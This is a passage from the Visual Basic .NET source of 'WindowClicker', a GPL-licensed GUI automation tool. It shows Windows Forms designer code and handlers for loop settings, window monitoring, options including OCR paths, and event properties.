/WindowLicker/frmLoopEvent.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmLoopEvent 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.btnOK = New System.Windows.Forms.Button() 26 | Me.btnCancel = New System.Windows.Forms.Button() 27 | Me.lblStart = New System.Windows.Forms.Label() 28 | Me.lblEnd = New System.Windows.Forms.Label() 29 | Me.lblStep = New System.Windows.Forms.Label() 30 | Me.udStart = New System.Windows.Forms.NumericUpDown() 31 | Me.udEnd = New System.Windows.Forms.NumericUpDown() 32 | Me.udStep = New System.Windows.Forms.NumericUpDown() 33 | CType(Me.udStart, System.ComponentModel.ISupportInitialize).BeginInit() 34 | CType(Me.udEnd, System.ComponentModel.ISupportInitialize).BeginInit() 35 | CType(Me.udStep, System.ComponentModel.ISupportInitialize).BeginInit() 36 | Me.SuspendLayout() 37 | ' 38 | 'btnOK 39 | ' 40 | Me.btnOK.DialogResult = System.Windows.Forms.DialogResult.OK 41 | Me.btnOK.Location = New System.Drawing.Point(34, 103) 42 | Me.btnOK.Name = "btnOK" 43 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 44 | Me.btnOK.TabIndex = 0 45 | Me.btnOK.Text = "OK" 46 | Me.btnOK.UseVisualStyleBackColor = True 47 | ' 48 | 'btnCancel 49 | ' 50 | Me.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel 51 | Me.btnCancel.Location = New System.Drawing.Point(119, 103) 52 | Me.btnCancel.Name = "btnCancel" 53 | Me.btnCancel.Size = New System.Drawing.Size(75, 23) 54 | Me.btnCancel.TabIndex = 1 55 | Me.btnCancel.Text = "Cancel" 56 | Me.btnCancel.UseVisualStyleBackColor = True 57 | ' 58 | 'lblStart 59 | ' 60 | Me.lblStart.AutoSize = True 61 | Me.lblStart.Location = New System.Drawing.Point(12, 13) 62 | Me.lblStart.Name = "lblStart" 63 | Me.lblStart.Size = New System.Drawing.Size(62, 13) 64 | Me.lblStart.TabIndex = 2 65 | Me.lblStart.Text = "Start Value:" 66 | ' 67 | 'lblEnd 68 | ' 69 | Me.lblEnd.AutoSize = True 70 | Me.lblEnd.Location = New System.Drawing.Point(12, 39) 71 | Me.lblEnd.Name = "lblEnd" 72 | Me.lblEnd.Size = New System.Drawing.Size(59, 13) 73 | Me.lblEnd.TabIndex = 3 74 | Me.lblEnd.Text = "End Value:" 75 | ' 76 | 'lblStep 77 | ' 78 | Me.lblStep.AutoSize = True 79 | Me.lblStep.Location = New System.Drawing.Point(12, 68) 80 | Me.lblStep.Name = "lblStep" 81 | Me.lblStep.Size = New System.Drawing.Size(32, 13) 82 | Me.lblStep.TabIndex = 4 83 | Me.lblStep.Text = "Step:" 84 | ' 85 | 'udStart 86 | ' 87 | Me.udStart.Location = New System.Drawing.Point(95, 13) 88 | Me.udStart.Maximum = New Decimal(New Integer() {999999, 0, 0, 0}) 89 | Me.udStart.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648}) 90 | Me.udStart.Name = "udStart" 91 | Me.udStart.Size = New System.Drawing.Size(87, 20) 92 | Me.udStart.TabIndex = 5 93 | ' 94 | 'udEnd 95 | ' 96 | Me.udEnd.Location = New System.Drawing.Point(95, 39) 97 | Me.udEnd.Maximum = New Decimal(New Integer() {999999, 0, 0, 0}) 98 | Me.udEnd.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648}) 99 | Me.udEnd.Name = "udEnd" 100 | Me.udEnd.Size = New System.Drawing.Size(87, 20) 101 | Me.udEnd.TabIndex = 6 102 | Me.udEnd.Value = New Decimal(New Integer() {10, 0, 0, 0}) 103 | ' 104 | 'udStep 105 | ' 106 | Me.udStep.Location = New System.Drawing.Point(95, 66) 107 | Me.udStep.Maximum = New Decimal(New Integer() {999999, 0, 0, 0}) 108 | Me.udStep.Minimum = New Decimal(New Integer() {999999, 0, 0, -2147483648}) 109 | Me.udStep.Name = "udStep" 110 | Me.udStep.Size = New System.Drawing.Size(87, 20) 111 | Me.udStep.TabIndex = 7 112 | Me.udStep.Value = New Decimal(New Integer() {1, 0, 0, 0}) 113 | ' 114 | 'frmLoopEvent 115 | ' 116 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 117 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 118 | Me.ClientSize = New System.Drawing.Size(206, 135) 119 | Me.Controls.Add(Me.udStep) 120 | Me.Controls.Add(Me.udEnd) 121 | Me.Controls.Add(Me.udStart) 122 | Me.Controls.Add(Me.lblStep) 123 | Me.Controls.Add(Me.lblEnd) 124 | Me.Controls.Add(Me.lblStart) 125 | Me.Controls.Add(Me.btnCancel) 126 | Me.Controls.Add(Me.btnOK) 127 | Me.MaximizeBox = False 128 | Me.MinimizeBox = False 129 | Me.Name = "frmLoopEvent" 130 | Me.Text = "Loop Event" 131 | CType(Me.udStart, System.ComponentModel.ISupportInitialize).EndInit() 132 | CType(Me.udEnd, System.ComponentModel.ISupportInitialize).EndInit() 133 | CType(Me.udStep, System.ComponentModel.ISupportInitialize).EndInit() 134 | Me.ResumeLayout(False) 135 | Me.PerformLayout() 136 | 137 | End Sub 138 | Friend WithEvents btnOK As System.Windows.Forms.Button 139 | Friend WithEvents btnCancel As System.Windows.Forms.Button 140 | Friend WithEvents lblStart As System.Windows.Forms.Label 141 | Friend WithEvents lblEnd As System.Windows.Forms.Label 142 | Friend WithEvents lblStep As System.Windows.Forms.Label 143 | Friend WithEvents udStart As System.Windows.Forms.NumericUpDown 144 | Friend WithEvents udEnd As System.Windows.Forms.NumericUpDown 145 | Friend WithEvents udStep As System.Windows.Forms.NumericUpDown 146 | End Class 147 | -------------------------------------------------------------------------------- /WindowLicker/frmLoopEvent.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /WindowLicker/frmLoopEvent.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class frmLoopEvent 20 | 21 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click 22 | Me.Close() 23 | End Sub 24 | 25 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 26 | ' If we have valid values then create a new event in main form 27 | '============================================================= 28 | 29 | If udStep.Value = 0 Then 30 | ' Invalid step size 31 | MsgBox("Invalid step size: Choose a non-zero value!", MsgBoxStyle.OkOnly, "Error") 32 | ElseIf (udStart.Value > udEnd.Value And udStep.Value > -1) Or (udStart.Value < udEnd.Value And udStep.Value < 1) Then 33 | ' Invalid values for a functioning loop 34 | MsgBox("Invalid values: Insert valid values to allow the loop to execute!", MsgBoxStyle.OkOnly, "Error") 35 | Else 36 | ' Valid settings 37 | frmMain.NewLoopData.StartVal = udStart.Value 38 | frmMain.NewLoopData.EndVal = udEnd.Value 39 | frmMain.NewLoopData.StepVal = udStep.Value 40 | 41 | frmMain.blnIsLoop = True 42 | 43 | Me.Close() 44 | End If 45 | 46 | End Sub 47 | 48 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmNewWindows.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmNewWindows 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmNewWindows)) 26 | Me.btnAdd = New System.Windows.Forms.Button() 27 | Me.btnOK = New System.Windows.Forms.Button() 28 | Me.btnDelete = New System.Windows.Forms.Button() 29 | Me.lvNewWindow = New System.Windows.Forms.ListView() 30 | Me.chTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 31 | Me.chFullTitle = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) 32 | Me.SuspendLayout() 33 | ' 34 | 'btnAdd 35 | ' 36 | Me.btnAdd.Location = New System.Drawing.Point(5, 405) 37 | Me.btnAdd.Name = "btnAdd" 38 | Me.btnAdd.Size = New System.Drawing.Size(75, 23) 39 | Me.btnAdd.TabIndex = 0 40 | Me.btnAdd.Text = "Add..." 41 | Me.btnAdd.UseVisualStyleBackColor = True 42 | ' 43 | 'btnOK 44 | ' 45 | Me.btnOK.Location = New System.Drawing.Point(306, 404) 46 | Me.btnOK.Name = "btnOK" 47 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 48 | Me.btnOK.TabIndex = 1 49 | Me.btnOK.Text = "OK" 50 | Me.btnOK.UseVisualStyleBackColor = True 51 | ' 52 | 'btnDelete 53 | ' 54 | Me.btnDelete.Location = New System.Drawing.Point(86, 405) 55 | Me.btnDelete.Name = "btnDelete" 56 | Me.btnDelete.Size = New System.Drawing.Size(75, 23) 57 | Me.btnDelete.TabIndex = 3 58 | Me.btnDelete.Text = "Delete" 59 | Me.btnDelete.UseVisualStyleBackColor = True 60 | ' 61 | 'lvNewWindow 62 | ' 63 | Me.lvNewWindow.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.chTitle, Me.chFullTitle}) 64 | Me.lvNewWindow.Location = New System.Drawing.Point(5, 5) 65 | Me.lvNewWindow.Name = "lvNewWindow" 66 | Me.lvNewWindow.Size = New System.Drawing.Size(377, 394) 67 | Me.lvNewWindow.TabIndex = 4 68 | Me.lvNewWindow.UseCompatibleStateImageBehavior = False 69 | Me.lvNewWindow.View = System.Windows.Forms.View.Details 70 | ' 71 | 'chTitle 72 | ' 73 | Me.chTitle.Text = "Window Title" 74 | Me.chTitle.Width = 264 75 | ' 76 | 'chFullTitle 77 | ' 78 | Me.chFullTitle.Text = "Match Full Title?" 79 | Me.chFullTitle.Width = 107 80 | ' 81 | 'frmNewWindows 82 | ' 83 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 84 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 85 | Me.ClientSize = New System.Drawing.Size(386, 432) 86 | Me.Controls.Add(Me.lvNewWindow) 87 | Me.Controls.Add(Me.btnDelete) 88 | Me.Controls.Add(Me.btnOK) 89 | Me.Controls.Add(Me.btnAdd) 90 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 91 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 92 | Me.MaximizeBox = False 93 | Me.MinimizeBox = False 94 | Me.Name = "frmNewWindows" 95 | Me.Text = "New Window Monitor" 96 | Me.ResumeLayout(False) 97 | 98 | End Sub 99 | Friend WithEvents btnAdd As System.Windows.Forms.Button 100 | Friend WithEvents btnOK As System.Windows.Forms.Button 101 | Friend WithEvents btnDelete As System.Windows.Forms.Button 102 | Friend WithEvents lvNewWindow As System.Windows.Forms.ListView 103 | Friend WithEvents chTitle As System.Windows.Forms.ColumnHeader 104 | Friend WithEvents chFullTitle As System.Windows.Forms.ColumnHeader 105 | End Class 106 | -------------------------------------------------------------------------------- /WindowLicker/frmNewWindows.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class frmNewWindows 19 | 20 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) 21 | Me.Dispose() 22 | End Sub 23 | 24 | Private Sub btnAdd_Click(sender As System.Object, e As System.EventArgs) Handles btnAdd.Click 25 | ' Get new window details from user, add to collection and and to listview 26 | '======================================================================== 27 | 28 | ' Get details 29 | frmAddWindow.ShowDialog(Me) 30 | 31 | ' Clear listview 32 | lvNewWindow.Clear() 33 | 34 | ' Get new listing 35 | ShowNewWindowList() 36 | 37 | End Sub 38 | 39 | Private Sub btnDelete_Click(sender As System.Object, e As System.EventArgs) Handles btnDelete.Click 40 | ' Delete currently selected item(s) 41 | '================================== 42 | 43 | If lvNewWindow.SelectedItems.Count < 1 Then Exit Sub 44 | 45 | For Each lviItem As ListViewItem In lvNewWindow.SelectedItems 46 | NewWindows.Remove(lviItem.Name) 47 | lvNewWindow.Items.Remove(lviItem) 48 | Next 49 | 50 | End Sub 51 | 52 | Private Sub ShowNewWindowList() 53 | ' Show the current list of new windows that the will be tracked by the GUI monitor 54 | '================================================================================= 55 | Dim lviItem As ListViewItem 56 | 57 | 58 | For Each nwNewWindow As NewWindow In NewWindows.Values 59 | 60 | '== Create new listvieitem and add details == 61 | lviItem = New ListViewItem 62 | lviItem.Name = nwNewWindow.WindowTitle 63 | lviItem.Text = nwNewWindow.WindowTitle 64 | lviItem.SubItems.Add(nwNewWindow.IsFullTitle) 65 | 66 | '== Add finished item to listview == 67 | lvNewWindow.Items.Add(lviItem) 68 | Next 69 | 70 | End Sub 71 | 72 | Private Sub frmNewWindows_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 73 | ShowNewWindowList() 74 | End Sub 75 | 76 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 77 | ' Activate GUIMonitor if required and close form 78 | '=============================================== 79 | 80 | '== Activate monitor if required == 81 | IsGuiMonitor = ((NewWindows.Count > 0) Or (MonitoredWindows.Count > 0) Or (frmMain.SnipCount > 0)) 82 | 83 | frmMain.timTimer.Enabled = IsGuiMonitor 84 | frmMain.ActivateGUIMonitorToolStripMenuItem.Checked = IsGuiMonitor 85 | 86 | Me.Dispose() 87 | 88 | End Sub 89 | 90 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmOptions.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | -------------------------------------------------------------------------------- /WindowLicker/frmOptions.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class frmOptions 20 | 21 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click 22 | Me.Dispose() 23 | End Sub 24 | 25 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 26 | ' Save data and close form 27 | '========================= 28 | 29 | With frmMain 30 | .intPause = udPause.Value 31 | .intDefaultRepeat = udRepeat.Value 32 | 33 | .blnIsGlobalSelectAll = chkSelectAll.Checked 34 | .blnIsGlobalDeselectAll = chkDeselectAll.Checked 35 | 36 | ' GUI Monitor 37 | IsGuiMonitor = chkEnableGuiMon.Checked 38 | If chkTerminate.Checked Then 39 | TerminateOnFirstChange = cboConditions.SelectedIndex = 0 40 | TerminateOnAllChange = Not TerminateOnFirstChange 41 | Else 42 | TerminateOnFirstChange = False 43 | TerminateOnAllChange = False 44 | End If 45 | MonitorInterval = udGuiMonitor.Value 46 | 47 | ' Log settings 48 | .blnIsAutoSave = (cbSave.Checked And cboFile.Text.Trim <> "") 49 | .strLogFile = cboFile.Text 50 | 51 | ' OCR settings 52 | If cboTesseract.Text.Trim <> "" Then trTextReader.TesseractLocation = cboTesseract.Text.Trim 53 | If txtArgs.Text.Trim <> "" Then trTextReader.TesseractArgs = txtArgs.Text.Trim 54 | If cboScreenshot.Text.Trim <> "" Then trTextReader.ImageDirectory = cboScreenshot.Text.Trim 55 | End With 56 | 57 | Me.Dispose() 58 | 59 | End Sub 60 | 61 | Private Sub frmOptions_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 62 | ' Load data from main form 63 | '========================= 64 | 65 | With frmMain 66 | ' Pause settings 67 | udPause.Value = .intPause 68 | udRepeat.Value = .intDefaultRepeat 69 | 70 | ' Select behaviour for text controls 71 | chkSelectAll.Checked = .blnIsGlobalSelectAll 72 | chkDeselectAll.Checked = .blnIsGlobalDeselectAll 73 | 74 | ' GUI Monitor 75 | chkEnableGuiMon.Checked = IsGuiMonitor 76 | chkTerminate.Checked = TerminateOnFirstChange Or TerminateOnAllChange 77 | If chkTerminate.Checked And TerminateOnFirstChange Then 78 | cboConditions.SelectedIndex = 0 79 | Else 80 | cboConditions.SelectedIndex = 1 81 | End If 82 | udGuiMonitor.Value = MonitorInterval 83 | 84 | ' Log settings 85 | cbSave.Checked = .blnIsAutoSave 86 | cboFile.Text = .strLogFile 87 | 88 | ' OCR settings 89 | cboTesseract.Text = trTextReader.TesseractLocation 90 | txtArgs.Text = trTextReader.TesseractArgs 91 | cboScreenshot.Text = trTextReader.ImageDirectory 92 | End With 93 | 94 | End Sub 95 | 96 | Private Sub chkSelectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkSelectAll.CheckedChanged 97 | ' Although both boxes can be unchecked, they cannot both be checked at once 98 | '========================================================================== 99 | 100 | If chkSelectAll.Checked Then chkDeselectAll.Checked = False 101 | 102 | End Sub 103 | 104 | Private Sub chkDeselectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkDeselectAll.CheckedChanged 105 | ' Although both boxes can be unchecked, they cannot both be checked at once 106 | '========================================================================== 107 | 108 | If chkDeselectAll.Checked Then chkSelectAll.Checked = False 109 | 110 | End Sub 111 | 112 | Private Sub btnBrowse_Click(sender As System.Object, e As System.EventArgs) Handles btnBrowse.Click 113 | ' Set log location using OpenFile dialog 114 | '======================================= 115 | 116 | 117 | 118 | End Sub 119 | 120 | Private Sub btnTesseract_Click(sender As System.Object, e As System.EventArgs) Handles btnTesseract.Click 121 | ' Set OCR location using OpenFile dialog 122 | '======================================= 123 | 124 | 125 | 126 | End Sub 127 | 128 | Private Sub btnScreenShot_Click(sender As System.Object, e As System.EventArgs) Handles btnScreenShot.Click 129 | ' Set screenshot location using OpenDir dialog 130 | '============================================= 131 | 132 | 133 | End Sub 134 | 135 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmProperties.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | -------------------------------------------------------------------------------- /WindowLicker/frmProperties.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class frmProperties 20 | 21 | Private Const TREE_VIEW As Integer = 1 22 | Private Const LIST_VIEW As Integer = 2 23 | 24 | '== Record whether name as changed for Dictionary entry == 25 | Public strOriginalName As String = "" 26 | 27 | '== Record which item is to be changed == 28 | Public intContext As Integer 29 | Public strKey As String 30 | 31 | Private Sub btnOK_Click(sender As System.Object, e As System.EventArgs) Handles btnOK.Click 32 | ' Save new settings and close form 33 | '================================= 34 | 35 | UpdateItem(txtName.Text) 36 | Me.Dispose() 37 | 38 | End Sub 39 | 40 | Private Sub btnCancel_Click(sender As System.Object, e As System.EventArgs) Handles btnCancel.Click 41 | Me.Dispose() 42 | End Sub 43 | 44 | Private Sub frmProperties_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load 45 | ' Load data from dictionary 46 | '========================== 47 | Dim geEvent As New GuiEvent 48 | 49 | '== Form just loaded so name hasn't changed yet == 50 | txtName.Text = strOriginalName 51 | 52 | '== Get data for this dictionary item == 53 | geEvent = GuiEvents.Item(strOriginalName) 54 | With geEvent 55 | cboEventType.SelectedIndex = .EventType 56 | udRepeat.Value = .Repeat 57 | udX.Value = .X 58 | udY.Value = .Y 59 | chkSelectAll.Checked = .SelectAll 60 | chkDeselectAll.Checked = .DeselectAll 61 | 62 | 'Item data 63 | txtStatic.Text = .StaticText 64 | txtFile.Text = .DataFile 65 | udStart.Value = .LoopData.StartVal 66 | udEnd.Value = .LoopData.EndVal 67 | udStep.Value = .LoopData.StepVal 68 | 69 | ' Show relevant data 70 | Select Case .EventType 71 | Case GuiEvent.PASTE_FILE_DATA 72 | tcData.SelectedTab = tcData.TabPages(1) 73 | Case GuiEvent.PASTE_LOOP_NUMBER 74 | tcData.SelectedTab = tcData.TabPages(2) 75 | Case Else 76 | tcData.SelectedTab = tcData.TabPages(0) 77 | End Select 78 | 79 | End With 80 | 81 | End Sub 82 | 83 | Private Sub UpdateItem(ByVal ItemName As String) 84 | ' Save new settings to collection 85 | '================================ 86 | Dim geEvent As New GuiEvent 87 | 88 | 89 | '== Set data for this item == 90 | With geEvent 91 | .EventType = cboEventType.SelectedIndex 92 | .Repeat = udRepeat.Value 93 | .X = udX.Value 94 | .Y = udY.Value 95 | 96 | .SelectAll = chkSelectAll.Checked 97 | .DeselectAll = chkDeselectAll.Checked 98 | 99 | 'Item data 100 | .StaticText = txtStatic.Text 101 | .DataFile = txtFile.Text 102 | .LoopData.StartVal = udStart.Value 103 | .LoopData.EndVal = udEnd.Value 104 | .LoopData.StepVal = udStep.Value 105 | End With 106 | 107 | '== Has the item's name changed? == 108 | If strOriginalName <> ItemName Then 109 | GuiEvents.Add(ItemName, geEvent) 110 | 111 | '== Make any necessary amendments to the list of copied items == 112 | If CopiedEvents.Keys.Contains(strOriginalName) = False Then 113 | GuiEvents.Remove(strOriginalName) 114 | Else 115 | CopiedEvents.Item(strOriginalName) -= 1 116 | If CopiedEvents.Item(strOriginalName) = 0 Then GuiEvents.Remove(strOriginalName) 117 | End If 118 | 119 | '== Reflect any changes in the GUI == 120 | If intContext = TREE_VIEW Then 121 | frmMain.tvEvent.Nodes(strKey).Name = ItemName 122 | ElseIf intContext = LIST_VIEW Then 123 | frmMain.lvDetail.Items(strKey).Name = ItemName 124 | End If 125 | Else 126 | '== Modify the existing item == 127 | GuiEvents.Item(strOriginalName) = geEvent 128 | End If 129 | 130 | End Sub 131 | 132 | Private Sub chkSelectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkSelectAll.CheckedChanged 133 | ' Although both boxes can be unchecked, they cannot both be checked at once 134 | '========================================================================== 135 | 136 | If chkSelectAll.Checked Then chkDeselectAll.Checked = False 137 | 138 | End Sub 139 | 140 | Private Sub chkDeselectAll_CheckedChanged(sender As System.Object, e As System.EventArgs) Handles chkDeselectAll.CheckedChanged 141 | ' Although both boxes can be unchecked, they cannot both be checked at once 142 | '========================================================================== 143 | 144 | If chkDeselectAll.Checked Then chkSelectAll.Checked = False 145 | 146 | End Sub 147 | 148 | End Class -------------------------------------------------------------------------------- /WindowLicker/frmReminder.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmReminder 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.chkNotAgain = New System.Windows.Forms.CheckBox() 26 | Me.lblReminder = New System.Windows.Forms.Label() 27 | Me.btnOK = New System.Windows.Forms.Button() 28 | Me.SuspendLayout() 29 | ' 30 | 'chkNotAgain 31 | ' 32 | Me.chkNotAgain.AutoSize = True 33 | Me.chkNotAgain.Location = New System.Drawing.Point(7, 58) 34 | Me.chkNotAgain.Name = "chkNotAgain" 35 | Me.chkNotAgain.Size = New System.Drawing.Size(180, 17) 36 | Me.chkNotAgain.TabIndex = 5 37 | Me.chkNotAgain.Text = "Do not show this reminder again." 38 | Me.chkNotAgain.UseVisualStyleBackColor = True 39 | ' 40 | 'lblReminder 41 | ' 42 | Me.lblReminder.Location = New System.Drawing.Point(4, 6) 43 | Me.lblReminder.Name = "lblReminder" 44 | Me.lblReminder.Size = New System.Drawing.Size(330, 40) 45 | Me.lblReminder.TabIndex = 4 46 | Me.lblReminder.Text = "No OCR application is present on the OCR path. Text recognition will not function" & _ 47 | " unless a valid application path is provided using the Options dialog." 48 | ' 49 | 'btnOK 50 | ' 51 | Me.btnOK.Location = New System.Drawing.Point(257, 77) 52 | Me.btnOK.Name = "btnOK" 53 | Me.btnOK.Size = New System.Drawing.Size(75, 23) 54 | Me.btnOK.TabIndex = 3 55 | Me.btnOK.Text = "OK" 56 | Me.btnOK.UseVisualStyleBackColor = True 57 | ' 58 | 'frmReminder 59 | ' 60 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 61 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 62 | Me.ClientSize = New System.Drawing.Size(338, 106) 63 | 